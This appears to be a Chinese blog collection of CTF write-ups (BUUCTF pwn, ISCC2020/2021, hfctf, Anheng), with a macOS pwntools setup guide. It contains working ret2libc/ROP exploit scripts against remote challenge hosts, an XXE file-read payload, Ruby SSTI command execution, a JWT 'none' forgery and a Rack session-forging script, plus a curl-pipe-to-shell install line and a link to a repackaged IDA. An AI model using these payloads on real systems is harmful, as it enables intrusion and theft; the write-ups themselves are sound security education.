作用: 就是 将s指针赋值到 inputs地址里了。


strcpy:
函数原型:char * strcpy ( char * destination, const char * source );
函数功能:
将source指向的C字符串复制到destination指向的数组中,包括终止的空字符(并在该位置停止)。
为避免溢出,目标指向的数组的大小应足够长,以包含与源相同的C字符串(包括终止空字符),并且在内存中不应与源重叠。

文本来源:紫色仰望合天智汇

但是经过简单测试我们就能发现所有的‘I’都会被替换成‘you’。s2原本不会溢出,经过替换再赋值给s2就可以造成溢出。

可以看到从s2到返回地址中间还有很多个变量。想要覆盖到返回地址一共需要覆盖64个字节,那么就可以20个I+4个字符来实现溢出,再加上get_flag函数地址即可。总共是28个字节小于32,是可行的。

exp:

1
2
3
4
5
6
7
from pwn import*
#context.log_level='debug'
res=remote('node3.buuoj.cn',28767)
get_flag=0x08048F0D
payload='I'*20+'N0P3'+p32(get_flag)
res.sendline(payload)
res.interactive()

ciscn_2019_c_1

这道题就是普通ret2libc,踩了个ubuntu18栈对齐的坑,写下exp以备参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import*
from LibcSearcher import*
elf=ELF('./ciscn_2019_c_1')
#context.log_level='debug'
res=remote('node3.buuoj.cn',29379)
res.recv()
res.sendline('1')
res.recv()
ret=0x4006b9
pop_rdi=0x400c83
pop_rsi_r15=0x4008a3
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start=elf.symbols['_start']
payload='A'*0x50+'a'*4+'N0P3'+p64(ret)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start)
res.sendline(payload)
puts_got=res.recv()
#print(puts_got)
puts_got=puts_got[6*16+7:6*16+8+5]
#print(puts_got)
puts_got=u64(puts_got.ljust(8,'\x00'))
print(puts_got)
if puts_got==0x0:
print('Attack failed. Please try again.')
else:
Searcher=LibcSearcher('puts',puts_got)
offset=puts_got-Searcher.dump('puts')
res.sendline('1')
res.recv()
binsh=Searcher.dump('str_bin_sh')+offset
system=Searcher.dump('system')+offset
payload='A'*0x50+'a'*4+'N0P3'+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
res.sendline(payload)
res.recv()
res.interactive()

payload里需要执行一次ret来使栈对齐。第一个payload会有时会失效,大概每执行3次exp就有一次泄漏失败。原因未知,可能与服务器环境有关。

[OGeek2019]babyrop

*普通的ret2libc,中间有一个小的绕过姿势。

main

在主函数使用urandom生成了一个随机数,接着调用了HanShu1。

HanShu1

Line 11把a1格式化后放入了s,bufa是我们输入的字符串,在Line 15两者不相等则直接退出。比较的长度v1是可控的,strlen遇到\x00会截断,所以payload开头放个\x00就可以使比对长度为0,这样就能绕过对比。

这个函数在line 12还有个溢出点能覆盖v5,v5是下一个函数的参数。

截屏2020-07-18 下午5.16.35

a1就是上个函数的v5,127是0x7f,只要不等于0x7f我们覆盖的值就可以作为read的长度参数了。但是经过测试0xC8也是能在远程打通的,看来服务器运行的程序和这个有点出入。

exp:

1
#这是后来补的wp,exp手滑覆盖掉了==

ISCC2020

未知的风险-1

题目有描述

描述

看题目,只有简单的一行

题目

hello guest,题目描述说只允许user进入,也就是我们要伪造身份。

抓包

bp1

这token格式一看就是jwt(T0ki师傅说的)

要伪造身份,我们就要构造新的jwt,然而,虽然使用的是HS256,但是翻遍网站也找不到key。于是想到,可能服务器使用的是低版本的jwt,需要我们把加密格式改为none。

jwt_tool

用jwt_tool来修改jwt,并发包。

成功来到一个登陆页面,对应题目描述中的一把锁。阅读页面的js代码可知,数据会以xml实体post到一个doLogin.php页面,返回的code决定了登陆是否成功。于是我尝试修改了返回包,使code为1。

login

虽然登陆成功但是什么也没有。

再看题目描述,”他猜测密码格式flag{*}”,也就是说,用户密码才是flag。随即想到可能存在xxe漏洞,利用这个漏洞读取doLogin.php的源码,逆向分析验证代码获得flag。

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE N0P3 [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"
> ]>
<user>
<username>&xxe;</username>
<password>admin</password>
</user>

xxe

读取成功。分析一下源码

code

发现include了一个flag.php,直接利用xxe去读

flag1

读到了,解码

flag

连源码都不用审,直接就能get flag。

ISCC2021

Explore Ruby

题目两个入口,以为是给选手两个环境,防止注册太多用户,做到后面才知道不是。

首先是入口1,输入框的背景字是‘demo‘,下文就称这个入口的网站为demo。

demo环境可以注册,进去发现一个输入框,输入多数字符会直接显示,少数字符会返回“不对哦,在(再)试试吧”。例如可以执行命令的反引号。

截屏2021-05-11 上午10.29.19

网站下方标有网站所用的模板

想到可能是ssti,现在就需要知道这个模板引擎的解析符号是什么(例如flask 是”\{\{\}\}”)

在google上搜索相关内容。可知slim的模板标记符是#{}

截屏2021-05-11 上午10.38.21

测试成功

截屏2021-05-11 上午10.45.35

接下来就是找一找ruby如何执行命令

反引号,system都被过滤了。最后找到#{ %x|env| }

截屏2021-05-11 上午10.51.00

可见有环境变量FLAG但是内容是假flag==

ls

截屏2021-05-11 上午10.49.50

没有命令被过滤,可以任意执行。

读网站源码webserver.rb



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
require 'sinatra'
require 'slim'
require 'sqlite3'

# don't minify HTML
Slim::Engine.set_options pretty: true

configure do
set :public_folder, 'public'
set :views, 'views'
set :bind, '0.0.0.0'
set :port, 9999
enable :sessions
set :server, %w[thin webrick]
set :environment, :production
#set :environment, :development
#disable :protection
set :session_secret, '01344904559362f6f5754df256908476702c8bd5d972a32e2fae2a7cc6fa4a7efd25079fddb5a11a0f8be0f607bf048fd6ecfe065380c27b2aa26015c3308e85'
end

def authenticate!
unless session[:username]
redirect to('/login')
end
end

### Create DB ###
# db = SQLite3::Database.new 'database.db'
# Create a table
# rows = db.execute <<-SQL
# create table users (
# username varchar(20),
# password varchar(20),
# role varchar(20)
# );
# SQL
# Add demo account
# db.execute('INSERT INTO users (username, password, role)
# VALUES (?, ?, ?)', ['demo', 'demo', 'user'])
# db.close

get '/' do
authenticate!
redirect to('/home')
end

get '/login' do
@message = params['message']
@hide = 'hidden' if params['message'].nil?
slim :login
end

post '/auth' do
# Open a database
db = SQLite3::Database.new 'database.db', {readonly: true}
user = params['username']
pass = params['password']
query = "SELECT username, password, role FROM users WHERE username='#{user}' AND password='#{pass}';"
rows = db.execute(query)
db.close
unless rows.empty?
username, password, role = rows.first
session.clear
session[:username] = username
session[:role] = role
redirect to('/home')
else
sleep 0.1
message = '错误的凭证!'
redirect to("/login?message=#{message}")
end
end

post '/register' do
sleep 0.1
message = '不可注册!'
redirect to("/login?message=#{message}")
end

get '/home' do
authenticate!
@user = session[:username]
@flag = ENV['FLAG'] if session[:role] == 'admin'
slim :home
end

get '/logout' do
session.clear
message = '你已经退出登录啦.'
redirect to("/login?message=#{message}")
end

post '/id' do
authenticate!
unless params['message'].nil?
id = params['message'].unpack('H*').first
redirect to("/id/#{id}")
else
redirect to('/home')
end
end

# Bad code
get '/id/:id' do
authenticate!
message = [params['id']].pack('H*')
# Filesystem is mounted in readonly so RCE is not so much a problem
# but I prefer people to the the secret with the elegant solution
# Sinatra::Application.settings.session_secret
# rather than by reading the code source. So let's put a little, certainly not
# unbreakable, blacklist.
blacklist_methods = /`|exec|foreach|fork|load|method_added|open|read(?!line$)|require|set_trace_func|spawn|syscall|system|base64|pack/
blacklist_classes = /(?<!True|False|Nil)Class|Module|Dir|File|ObjectSpace|Process|Thread|IO/
blacklist_chars = /\(|\)|\[|\]/
if blacklist_methods.match?(message) || blacklist_classes.match?(message) || blacklist_chars.match?(message)
message = '不对哦, 在试试吧!.'
end
# SSTI
template = File.read('views/id.slim').gsub('@@@REPLACE@@@', message)
Slim::Template.new{ template }.render
end

=begin
# Good code
get '/id/:id' do
authenticate!
@message = [params['id']].pack('H*')
slim :index
end
=end

找到身份验证的代码,发现这还是从环境变量里取出的FLAG。

截屏2021-05-11 上午11.02.49

翻了翻目录也没找到,突然注意到题目说的是截屏2021-05-11 上午11.31.55

题目提到了两颗红宝石,也就是说两个环境是出题人准备的,想到可能是要我们拿demo的源码打flag环境。

因为不会ruby,猜是session中的role字段要改成admin

参考Cookie篡改

rack_seesion的组成有两部分,前半部分是由ruby的Marshal.dump生成的序列化字符串,后半部分是签名

前半部分是base64加密过的,url decode后直接base64解密就可以了。接着再用Marshal.load加载为对象

结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
require "uri"

require 'pp'

require 'base64'

url="http://39.96.91.106:8231"

secret_key="01344904559362f6f5754df256908476702c8bd5d972a32e2fae2a7cc6fa4a7efd25079fddb5a11a0f8be0f607bf048fd6ecfe065380c27b2aa26015c3308e85"

decoded = Base64.decode64("
BAh7CkkiDXVzZXJuYW1lBjoGRUZJIgluMHAzBjsAVEkiCXJvbGUGOwBGSSIJ
dXNlcgY7AFRJIg9zZXNzaW9uX2lkBjsAVEkiRWQ0YmU0YTU5ODAzMDc3NjY3
YzY4MzJkODhmZjExOTZlYWVhMTFmMTEwODdjODkzYTdlOGE0YzIyYTA1OTQ0
NjUGOwBGSSIJY3NyZgY7AEZJIjFFenJPU3poSzBuMWZsVDZRdS93OWdnSCsy
SzFpcGxnUnlteFFQejZzWnM4PQY7AEZJIg10cmFja2luZwY7AEZ7BkkiFEhU
VFBfVVNFUl9BR0VOVAY7AFRJIi00NzExZTRhOTI3OGQyOTMyY2IzMjZmYzBj
MmVhODBiYzJjMDcyZDJhBjsARg==
")
object = Marshal.load(decoded)
pp object

截屏2021-05-11 上午11.06.44

发现role字段。

1
2
3
4
5
6
7
8
9
10
# create new session
object["username"] = 'n0p3'
object["role"]='admin'
pp object
# new cookie:
nc =Base64.encode64(Marshal.dump(object))
ns = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new,secret_key, nc)
newcookie = URI.encode(nc).gsub("=","%3D")+"--"+ns
#pp object
pp newcookie

生成新cookie

截屏2021-05-11 上午11.34.26

Nice。

2020安恒月赛April

这次依然是只看pwn,只看了一题,其他两题是堆,干脆就没看。

echo sever

连接题目,一共有两次输入,第一次输入名字的长度,第二次输入名字。

拖进ida

main

主函数没什么东西,调用了函数sub_4006d2,跟踪看一下

4006d2

输入的名字长度被传进了函数sub_4006A7,继续跟踪

4006A7

可以看到我们输入的名字长度被作为了read函数的读入字符长度,所以读入长度我们可控,只要我们输入的长度够大,就可以造成栈溢出。

但是由于函数中并没有现成的shellcode,所以这题是ret2libc。第一次遇到64位的ret2libc题目,并且用到了一个以前没有用过的工具,ROPgadget。

exp

exp

与x86不同,x64的程序传参时,会先把参数按顺序放进rdi, rsi, rdx, rcx, r8, r9这6个寄存器里去,然后多出来的参数才会通过栈传递。我们在进行ROP时,要先传参,再调用函数。

line 16~line 19在构造第一个payload,目的是利用printf函数输出read函数的got地址。先把第一个参数“%s”pop进rdi,再把read_got pop进rsi,之后调用printf就可以得到read函数的地址了。

那么怎样去执行pop rdi和pop rsi呢?就是直接在程序中寻找现有的小片段。

ROPgadget

利用ROPgadget就可以便捷的查询到想要的gadgets。可以看到,没有单独的pop rsi可以用,这也就是为什么payload里传递第二个参数时多pop了一个0,就是为了填充r15寄存器,无论写多少都可以。每个小片段最后都是ret,所以我们可以做到一个小片段结束接着另一个小片段继续执行。构造的ROP链就是payload。printf用到的参数也都是利用ROPgadget寻找到的,非常方便。

在line 23多接收了3个字节,这是观察得来的。一般程序运行时的实际地址是7f开头的,根据这个向后推移找到了正确的地址。这个7f大概是电脑运行时分配给应用程序的地址开头(最高位),所以我们在接收地址时应当只取前六位,然后在最高位补00。(我们从二进制文件里取出的地址最高位是00,如果不只取前六位的话计算会出现错误)

在line 32注释了一个地址,这个地址指向的是一个单独的ret指令。我们在打远程的时候需要多跳转一次ret。这是由于程序源代码中,定义的函数返回值类型是void导致的。如果不多跳转一次程序会崩溃,在远程的情况下,程序崩溃我们就得不到回显,所以打远程要多跳转一次,本地不用。

通过这道题真的学到了许多。其中的一些细节问题多谢不会修电脑师傅的耐心解答

在MacOS 10.15 上配置基本的Pwn环境

Mac Pwn实在是不够香,还是虚拟机好用!

Catalina给我造成了相当多的麻烦,于是便记录一下过程

安装Pwntools

首先,不要使用pip!

网上安装pwntools的教程中最多的就是pip安装,官网上的安装介绍也是pip安装。但是我们使用MacOS的homebrew来安装。

如果你没有安装homebrew,执行下面的自动脚本

/bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)"

直接在终端输入回车根据提示执行即可。

homebrew

homebrew就安装好了。

执行brew install pwntools 安装pwntools

再执行brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-amd64.rb 安装二进制工具binutils

安装binutils时你可能会遇到443报错,这是由于众所周知的原因导致raw.githubusercontent.com的DNS解析被污染了。

Step 1: 访问这个网站https://www.ipaddress.com/去查询raw.githubusercontent.com

的真实ip地址。

Step 2: 添加到/etc/hosts中

完成之后应该就可以下载了。

然后要把pwntools包加入到python环境里

在/Library/Python/2.7/site-packages中新建一个.pth文件然后写入

1
/usr/local/Cellar/pwntools/4.0.1_1/libexec/lib/python3.8/site-packages 

这一行需要自己看情况写,pwntools版本和python版本可能会不同

path然后就可以测试基本功能了。

checksec

pwntools

测试都OK

IDA

ida在Major版本上很好安装,但是网上现有的所有的安装包都无法在Catalina上安装。解决办法大致是 安装Major虚拟机,再安装旧版ida,打补丁拷贝目录到Catalina。实际操作起来有很多问题且很麻烦,于是我直接打包好了Catalina可用的dmg。

Ida for Catalina

密码 n0p3.top,记得不要更新。

hfctf-2020

参加了2020的虎符ctf,因为最近在学pwn,其他题目也就没有看,最后只解出一道pwn题。真的是太菜了,等着学习大师傅们的wp吧。

count

只有这道题是在出wp之前做出的。

连接题目返回一个算式,要求通过200关。看起来不像pwn题,猜测可能是输入的地方存在漏洞。

拖进ida,发现好像汇编有点奇怪,不是平时常见架构的程序。

发现sub_400990是main函数

main

阅读代码,随机生成4个在0~99的整数,要求用户输入line 38的计算结果,连续输入正确200次后就会调用一个read函数,共度入100个字节,然而v8只有78个字节,所以这里存在栈溢出漏洞。紧接着下面有一个if,判断v9是否等于304305682,如果等于讲调用函数sub_400920,看一下这个函数

400920

直接就get shell。

所以我们的攻击思路就是,先完成200关的计算任务,最后利用栈溢出覆盖v9的值,使if成立即可。

exp如下

exp

因为不会正则,只能手动分离4个数字了orz

执行

flag

[以下为赛后Pwn题复现]